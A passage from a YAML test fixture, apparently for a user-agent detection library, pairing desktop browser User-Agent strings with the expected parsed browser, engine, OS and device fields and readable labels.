#include <boost/config/abi_suffix.hpp>
#endif
| {
"pile_set_name": "Github"
} |
-
headers: 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; Avant Browser; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPDTDF; Avant Browser)'
result: { browser: { name: 'Avant Browser', type: browser }, engine: { name: Trident, version: '4.0' }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop, manufacturer: Compaq } }
readable: 'Avant Browser on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Avant Browser)'
result: { browser: { name: 'Avant Browser', type: browser }, engine: { name: Trident, version: '6.0' }, os: { name: Windows, version: { value: '6.2', alias: '8' } }, device: { type: desktop } }
readable: 'Avant Browser on Windows 8'
-
headers: 'User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0; SlimBrowser)'
result: { browser: { name: SlimBrowser, type: browser }, engine: { name: Trident, version: '5.0' }, os: { name: Windows, version: { value: '6.2', alias: '8' } }, device: { type: desktop } }
readable: 'SlimBrowser on Windows 8'
-
headers: 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SlimBrowser/7.00.061)'
result: { browser: { name: SlimBrowser, version: 7.00.061, type: browser }, engine: { name: Trident, version: '4.0' }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'SlimBrowser 7.00.061 on Windows XP'
-
headers: 'User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; BTRS122335; 126BROWSER; .NET CLR 2.0.50727)'
result: { browser: { name: '126 Browser', type: browser }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: '126 Browser on Windows XP'
-
headers: 'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; TheWorld)'
result: { browser: { name: 'The World', type: browser }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'The World on Windows XP'
-
headers: 'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Shuame; TheWorld 6)'
result: { browser: { name: 'The World', version: '6', type: browser }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'The World 6 on Windows XP'
-
headers: 'User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; TheWorld)'
result: { browser: { name: 'The World', type: browser }, engine: { name: Trident, version: '4.0' }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'The World on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (N; Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Raptr Safari/534.34'
result: { browser: { name: Raptr, type: 'app:game' }, engine: { name: Webkit, version: '534.34' }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'Raptr on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (N; Windows NT 6.2; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) Raptr Safari/534.34'
result: { browser: { name: Raptr, type: 'app:game' }, engine: { name: Webkit, version: '534.34' }, os: { name: Windows, version: { value: '6.2', alias: '8' } }, device: { type: desktop } }
readable: 'Raptr on Windows 8'
-
headers: 'User-Agent: Mozilla/5.0 (Macintosh; PPC Mac OS X 10.4; rv:10.0.10) Gecko/20121024 Firefox/10.0.10 TenFourFox/7450'
result: { browser: { name: TenFourFox, family: { name: Firefox, version: 10.0.10 }, type: browser }, engine: { name: Gecko, version: 10.0.10 }, os: { name: 'OS X', alias: 'Mac OS X', version: '10.4' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
readable: 'TenFourFox on Mac OS X 10.4'
-
headers: 'User-Agent: Mozilla/5.0 (Macintosh; PPC Mac OS X 10.5; rv:5.0) Gecko/20110616 Firefox/5.0 TenFourFox/G5'
result: { browser: { name: TenFourFox, family: { name: Firefox, version: '5.0' }, type: browser }, engine: { name: Gecko, version: '5.0' }, os: { name: 'OS X', alias: 'Mac OS X', version: '10.5' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
readable: 'TenFourFox on Mac OS X 10.5'
-
headers: 'User-Agent: Mozilla/5.0 (Macintosh; PPC Mac OS X 10.5; rv:38.0) Gecko/20100101 Firefox/38.0 TenFourFox/7400'
result: { browser: { name: TenFourFox, family: { name: Firefox, version: '38.0' }, type: browser }, engine: { name: Gecko, version: '38.0' }, os: { name: 'OS X', alias: 'Mac OS X', version: '10.5' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
readable: 'TenFourFox on Mac OS X 10.5'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 7Star/1.45.0.407 Safari/537.36'
result: { browser: { name: 7Star, family: { name: Chrome, version: 45 }, version: 1.45.0.407, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: '7Star 1.45.0.407 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Iridium/43.8 Safari/537.36 Chrome/43.0.2357.132'
result: { browser: { name: Iridium, family: { name: Chrome, version: 43 }, version: '43.8', type: browser }, engine: { name: Blink }, os: { name: 'OS X', version: { value: '10.11', nickname: 'El Capitan' } }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
readable: 'Iridium 43.8 on OS X El Capitan 10.11'
-
headers: 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Iridium/41.2 Safari/537.36 Chrome/41.0.2272.118'
result: { browser: { name: Iridium, family: { name: Chrome, version: 41 }, version: '41.2', type: browser }, engine: { name: Blink }, os: { name: Linux }, device: { type: desktop } }
readable: 'Iridium 41.2 on Linux'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 2345Explorer/6.1.0.8495'
result: { browser: { name: '2345 Explorer', family: { name: Chrome, version: 39 }, version: 6.1.0, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
readable: '2345 Explorer 6.1.0 on Windows 10'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.69 Safari/537.36 2345chrome v2.5.0.4435'
result: { browser: { name: '2345 Chrome', family: { name: Chrome, version: 31 }, version: 2.5.0, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: '2345 Chrome 2.5.0 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 2345Explorer v6.0.0.7505'
result: { browser: { name: '2345 Explorer', family: { name: Chrome, version: 39 }, version: 6.0.0, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: '2345 Explorer 6.0.0 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 2345chrome v3.0.0.6668'
result: { browser: { name: '2345 Chrome', family: { name: Chrome, version: 39 }, version: 3.0.0, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: '2345 Chrome 3.0.0 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36 Swing/2.4.2.0'
result: { browser: { name: 'Swing Browser', family: { name: Chrome, version: 35 }, version: 2.4.2, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
readable: 'Swing Browser 2.4.2 on Windows 10'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36 Swing/2.5.0.3'
result: { browser: { name: 'Swing Browser', family: { name: Chrome, version: 35 }, version: 2.5.0, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
readable: 'Swing Browser 2.5.0 on Windows 10'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22 Swing/1.0.0.40'
result: { browser: { name: 'Swing Browser', family: { name: Chrome, version: 25 }, version: 1.0.0, type: browser }, engine: { name: Webkit, version: '537.22' }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'Swing Browser 1.0.0 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22 Swing/1.1.2.0'
result: { browser: { name: 'Swing Browser', family: { name: Chrome, version: 25 }, version: 1.1.2, type: browser }, engine: { name: Webkit, version: '537.22' }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'Swing Browser 1.1.2 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22 Swing/1.3.2.0'
result: { browser: { name: 'Swing Browser', family: { name: Chrome, version: 25 }, version: 1.3.2, type: browser }, engine: { name: Webkit, version: '537.22' }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'Swing Browser 1.3.2 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36 Swing/2.4.2.0'
result: { browser: { name: 'Swing Browser', family: { name: Chrome, version: 35 }, version: 2.4.2, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'Swing Browser 2.4.2 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 Swing(And)/1.10.5.0'
result: { browser: { name: 'Swing Browser', family: { name: Chrome, version: 11 }, version: 1.10.5, type: browser }, engine: { name: Webkit, version: '534.24' }, os: { name: Linux }, device: { type: desktop } }
readable: 'Swing Browser 1.10.5 on Linux'
-
headers: 'User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Otter/0.9.08'
result: { browser: { name: Otter, family: { name: Chrome, version: 40 }, version: 0.9.08, type: browser }, engine: { name: Blink }, os: { name: Linux }, device: { type: desktop } }
readable: 'Otter 0.9.08 on Linux'
-
headers: 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Otter/0.9.07'
result: { browser: { name: Otter, family: { name: Chrome, version: 40 }, version: 0.9.07, type: browser }, engine: { name: Blink }, os: { name: Linux }, device: { type: desktop } }
readable: 'Otter 0.9.07 on Linux'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 TungstenBrowser/2.0'
result: { browser: { name: 'Tungsten Browser', family: { name: Chrome, version: 44 }, version: '2.0', type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
readable: 'Tungsten Browser 2.0 on Windows 10'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Beamrise/29.3.0.6900 Safari/537.36'
result: { browser: { name: Beamrise, family: { name: Chrome, version: 29 }, version: 29.3.0.6900, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Beamrise 29.3.0.6900 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 115Browser/5.1.6'
result: { browser: { name: '115 Browser', family: { name: Chrome, version: 31 }, version: 5.1.6, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: '115 Browser 5.1.6 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 115Browser/5.2.2'
result: { browser: { name: '115 Browser', family: { name: Chrome, version: 31 }, version: 5.2.2, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: '115 Browser 5.2.2 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1 115Chrome/1.0.3'
result: { browser: { name: '115 Chrome', family: { name: Chrome, version: 21 }, version: 1.0.3, type: browser }, engine: { name: Webkit, version: '537.1' }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: '115 Chrome 1.0.3 on Windows 7'
-
headers: 'User-Agent: Mozilla/4.0 (compatible; Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727); Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2)'
readable: 'Acoo Browser on Windows XP'
result: { browser: { name: 'Acoo Browser', type: browser }, engine: { name: Trident, version: '4.0' }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 AVG/70.1.682.112'
result: { browser: { name: 'AVG Secure Browser', family: { name: Chrome, version: 70 }, version: 70.1.682.112, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'AVG Secure Browser 70.1.682.112 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable'
result: { browser: { name: Beonex, version: 0.8.2, type: browser }, engine: { name: Gecko, version: 1.0.2 }, os: { name: Windows }, device: { type: desktop } }
readable: 'Beonex 0.8.2 on Windows'
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008120120 Blackbird/0.9991'
result: { browser: { name: 'Blackbird', version: '0.9991', type: browser }, engine: { name: Gecko, version: '1.9' }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'Blackbird 0.9991 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.3 (KHTML, like Gecko) Columbus/1.2.1.0 Safari/533.3'
result: { browser: { name: Columbus, version: 1.2.1.0, type: browser }, engine: { name: Webkit, version: '533.3' }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Columbus 1.2.1.0 on Windows 7'
-
headers: 'User-Agent: Cyberdog/2.0 (Macintosh; PPC)'
readable: 'Cyberdog 2.0 on Mac OS'
result: { browser: { name: Cyberdog, version: 2.0, type: browser }, os: { name: 'Mac OS' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
-
headers: 'User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Demeter/1.0.9 Safari/125'
readable: 'Demeter 1.0.9 on Mac OS X 10.5'
result: { browser: { name: Demeter, version: 1.0.9, type: browser }, engine: { name: Webkit, version: 525.27.1 }, os: { name: 'OS X', alias: 'Mac OS X', version: '10.5' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
-
headers: 'User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; pl-pl) AppleWebKit/312.8 (KHTML, like Gecko, Safari) DeskBrowse/1.0'
readable: 'DeskBrowse 1.0 on OS X'
result: { browser: { name: DeskBrowse, version: '1.0', type: browser }, engine: { name: Webkit, version: '312.8' }, os: { name: 'OS X' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
-
headers: 'User-Agent: Mozilla/4.0 (compatible; DPlus 0.5)'
readable: 'DPlus Browser 0.5'
result: { browser: { name: DPlus Browser, version: '0.5', type: browser }, device: { type: desktop } }
-
headers: 'User-Agent: DocZilla/2.7 (Windows; U; Windows NT 5.1; en-US; rv:2.7.0) Gecko/20050706 CiTEC Information'
result: { browser: { name: DocZilla, version: '2.7', type: browser }, engine: { name: Gecko, version: 2.7.0 }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'DocZilla 2.7 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091105 Firefox/3.5.5 compat GlobalMojo/1.5.5 GlobalMojoExt/1.5'
result: { browser: { name: GlobalMojo, family: { name: Firefox, version: 3.5.5 }, version: '1.5.5', type: browser }, engine: { name: Gecko, version: 1.9.1 }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'GlobalMojo 1.5.5 on Windows 7'
-
headers: 'User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; GreenBrowser)'
result: { browser: { name: 'GreenBrowser', type: browser }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'GreenBrowser on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.1; SV1; Hydra Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)'
result: { browser: { name: 'Hydra Browser', type: browser }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'Hydra Browser on Windows XP'
-
headers: 'User-Agent: Mozilla/4.5 (compatible; iCab 2.7.1; Macintosh; I; PPC)'
readable: 'iCab 2.7.1 on Mac OS'
result: { browser: { name: iCab, version: 2.7.1, type: browser }, os: { name: 'Mac OS' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
-
headers: 'User-Agent: Mozilla/4.5 (compatible; iCab 2.9.8; Macintosh; U; PPC)'
readable: 'iCab 2.9.8 on Mac OS'
result: { browser: { name: iCab, version: 2.9.8, type: browser }, os: { name: 'Mac OS' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
-
headers: 'User-Agent: Mozilla/4.5 (compatible; iCab Pre2.3; Macintosh; I; PPC)'
readable: 'iCab 2.3 on Mac OS'
result: { browser: { name: iCab, version: '2.3', type: browser }, os: { name: 'Mac OS' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
-
headers: 'User-Agent: Mozilla/4/5 (compatible; iCab 2.9.8; Macintosh; U; 68K)'
readable: 'iCab 2.9.8 on Mac OS'
result: { browser: { name: iCab, version: 2.9.8, type: browser }, os: { name: 'Mac OS' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
-
headers: 'User-Agent: Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)'
readable: 'iCab 3.0.3 on Mac OS'
result: { browser: { name: iCab, version: 3.0.3, type: browser }, os: { name: 'Mac OS' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
-
headers: 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.10.1 Chrome/61.0.3163.140 Crusta/1.4.3 Safari/537.36'
readable: 'Crusta 1.4.3 on Linux'
result: { browser: { name: Crusta, using: { name: Qt, version: 5.10.1 }, family: { name: Chrome, version: 61 }, version: 1.4.3, type: browser }, engine: { name: Blink }, os: { name: Linux }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Kinza/6.1.6'
readable: 'Kinza 6.1.6 on Windows 10'
result: { browser: { name: Kinza, family: { name: Chrome, version: 80.0.3987.149 }, version: 6.1.6, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML like Gecko) 37abc/1.6.5.14 Chrome/44.0.2403.130 Safari/537.36'
result: { browser: { name: '37abc Browser', family: { name: Chrome, version: 44.0.2403.130 }, version: 1.6.5.14, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: '37abc Browser 1.6.5.14 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.5.2526.111 Amigo/47.5.2526.111 MRCHROME SOC Safari/537.36'
result: { browser: { name: 'Amigo Browser', family: { name: Chrome, version: 47 }, version: 47.5.2526.111, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Amigo Browser 47.5.2526.111 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt) Chrome/37.0.2049.0 (KHTML, like Gecko) Version/4.0 APUSBrowser/1.1.111 Safari/'
result: { browser: { name: 'APUS Browser', family: { name: Chrome, version: 37 }, version: 1.1.111, type: browser }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'APUS Browser 1.1.111 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 AviraScout/17.6.3071.2851'
readable: 'Avira Scout 17.6.3071.2851 on Windows 10'
result: { browser: { name: 'Avira Scout', family: { name: Chrome, version: 59 }, version: 17.6.3071.2851, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.9) Gecko/20100101 Goanna/4.5 Firefox/68.9 Basilisk/20200311'
readable: 'Basilisk 20200311 on Windows 10'
result: { browser: { name: Basilisk, family: { name: Firefox, version: '68.9' }, version: '20200311', type: browser }, engine: { name: Goanna, version: '4.5' }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Browzar)'
result: { browser: { name: 'Browzar', type: browser }, engine: { name: Trident, version: '4.0' }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Browzar on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/47.0.2526.106 Safari/537.36 Cent/1.6.10.21'
readable: 'Cent Browser 1.6.10.21 on Windows 10'
result: { browser: { name: 'Cent Browser', family: { name: Chrome, version: 47 }, version: 1.6.10.21, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 1stBrowser/45.0.2454.171 Safari/537.36'
result: { browser: { name: '1st Browser', family: { name: Chrome, version: 49 }, version: 45.0.2454.171, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: '1st Browser 45.0.2454.171 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.87 Chedot/9.1.1 Safari/537.36'
readable: 'Chedot 9.1.1 on Windows 10'
result: { browser: { name: Chedot, family: { name: Chrome, version: 76 }, version: 9.1.1, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en) AppleWebKit/418.9 (KHTML, like Gecko, Safari) Safari/419.3 Cheshire/1.0.ALPHA'
result: { browser: { name: Cheshire, version: '1.0.ALPHA', type: browser }, engine: { name: Webkit, version: '418.9' }, os: { name: 'OS X', alias: 'Mac OS X', version: '10.4' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
readable: 'Cheshire 1.0 on Mac OS X 10.4'
-
headers: 'User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X PPC Mac OS X 10.4; en-US; rv:1.0.1) Gecko/20030111 Chimera/0.6'
result: { browser: { name: Chimera, version: '0.6', type: browser }, engine: { name: Gecko, version: 1.0.1 }, os: { name: 'OS X', alias: 'Mac OS X', version: '10.4' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
readable: 'Chimera 0.6 on Mac OS X 10.4'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) coc_coc_browser/46.0 Chrome/40.0.2214.96 Safari/537.36'
readable: 'Coc Coc 46.0 on Windows 10'
result: { browser: { name: 'Coc Coc', family: { name: Chrome, version: 40 }, version: '46.0', type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; Crazy Browser 2.0.1)'
result: { browser: { name: 'Crazy Browser', version: 2.0.1, type: browser }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'Crazy Browser 2.0.1 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.14.3282.140 Elements Browser/1.1.14 Safari/537.36'
readable: 'Elements Browser 1.1.14 on Windows 10'
result: { browser: { name: 'Elements Browser', family: { name: Chrome, version: 64 }, version: 1.1.14, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Icedove/45.6.0'
result: { browser: { name: Icedove, version: 45.6.0, type: browser }, engine: { name: Gecko, version: '45.0' }, os: { name: Linux }, device: { type: desktop } }
readable: 'Icedove 45.6.0 on Linux'
-
headers: 'User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)'
readable: 'KKMAN 3.0 on Windows Vista'
result: { browser: { name: 'KKMAN', version: '3.0', type: browser }, os: { name: Windows, version: { value: '6.0', alias: Vista } }, device: { type: desktop } }
-
headers: 'User-Agent: Klondike/1.50 (WSP Win32) (Google WAP Proxy/1.0)'
readable: 'Klondike 1.50 on Windows'
result: { browser: { name:Klondike, version: '1.50', type: browser }, os: { name: Windows }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0 Light/44.0'
readable: 'Light 44.0 on Windows 10'
result: { browser: { name: 'Light', family: { name: Firefox, version: '44.0' }, version: '44.0', type: browser }, engine: { name: Gecko, version: '44.0' }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070224 lolifox/0.3.2'
readable: 'Lolifox 0.3.2 on Windows XP'
result: { browser: { name: Lolifox, version: 0.3.2, type: browser }, engine: { name: Gecko, version: 1.8.1 }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a'
readable: 'MultiZilla 1.6.1.0 on Windows XP'
result: { browser: { name: MultiZilla, version: 1.6.1.0, type: browser }, engine: { name: Gecko }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Lovense/30.0.9'
